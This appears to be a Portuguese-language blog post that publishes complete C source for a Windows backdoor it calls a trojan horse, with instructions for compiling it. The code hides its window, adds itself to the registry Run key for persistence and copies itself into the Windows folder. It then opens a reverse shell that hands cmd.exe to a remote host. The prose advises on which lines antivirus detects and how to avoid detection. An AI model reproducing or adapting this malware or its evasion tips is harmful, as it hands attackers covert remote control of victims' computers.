Esse trojan-horse depois de compilado é detectado pelos antivírus por causa da linha de comando abaixo:
"HKEY key;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
RegSetValueEx(key, "msfconfig", 0, REG_SZ, (LPBYTE)"\"C:\\Windows\\msfconfig.exe\"", 26);
RegCloseKey(key);
"
Como também se adicionar essa linha ao código será detectado também:
"system("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Services /t reg_sz /d \"\"\"\"C:\\Windows\\services.exe\"\" /f" );
system("XCOPY /Y services.exe C:\\Windows");"
Caso se não utilizar nenhuma dessas linhas de comando citado acima, dificilmente o anti-vírus pega.
Como também se adicionar essa linha ao código será detectado também:
"system("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Services /t reg_sz /d \"\"\"\"C:\\Windows\\services.exe\"\" /f" );
system("XCOPY /Y services.exe C:\\Windows");"
Caso se não utilizar nenhuma dessas linhas de comando citado acima, dificilmente o anti-vírus pega.
EXEMPLO DE COMO COPILAR: gcc msfconfig.c -o msfconfig.exe -l ws2_32
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define maringa 590
#define parana "192.168.15.3"
WSADATA florionopolis;
SOCKET Vivaesperanca;
STARTUPINFO praiabrava;
PROCESS_INFORMATION santinha;
struct sockaddr_in Vivaesperanca_Structure;
int main(int argc, char *argv[])
{
ShowWindow(GetForegroundWindow(),SW_HIDE);
HKEY key;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
RegSetValueEx(key, "msfconfig", 0, REG_SZ, (LPBYTE)"\"C:\\Windows\\msfconfig.exe\"", 26);
RegCloseKey(key);
FILE* tmp = tmpfile();
system("XCOPY /Y msfconfig.exe C:\\Windows");
while(1)
{
char *ombro = parana;
short olho = maringa;
if (argc == 3)
{
strncpy(ombro,argv[1],16);
olho = atoi(argv[2]);
}
WSAStartup(MAKEWORD(2,2), &florionopolis);
Vivaesperanca=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
Vivaesperanca_Structure.sin_port=htons(olho);
Vivaesperanca_Structure.sin_family=AF_INET;
Vivaesperanca_Structure.sin_addr.s_addr=inet_addr(ombro);
if(Vivaesperanca==INVALID_SOCKET)
{
WSACleanup();
}
if(WSAConnect(Vivaesperanca,(SOCKADDR*)&Vivaesperanca_Structure,sizeof(Vivaesperanca_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
{
WSACleanup();
}
memset(&praiabrava,0,sizeof(praiabrava));
praiabrava.cb=sizeof(praiabrava);
praiabrava.dwFlags=STARTF_USESTDHANDLES;
praiabrava.hStdInput = praiabrava.hStdOutput = praiabrava.hStdError = (HANDLE)Vivaesperanca;
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&praiabrava,&santinha)==0)
{
WSACleanup();
}
}
}
Comentários
Postar um comentário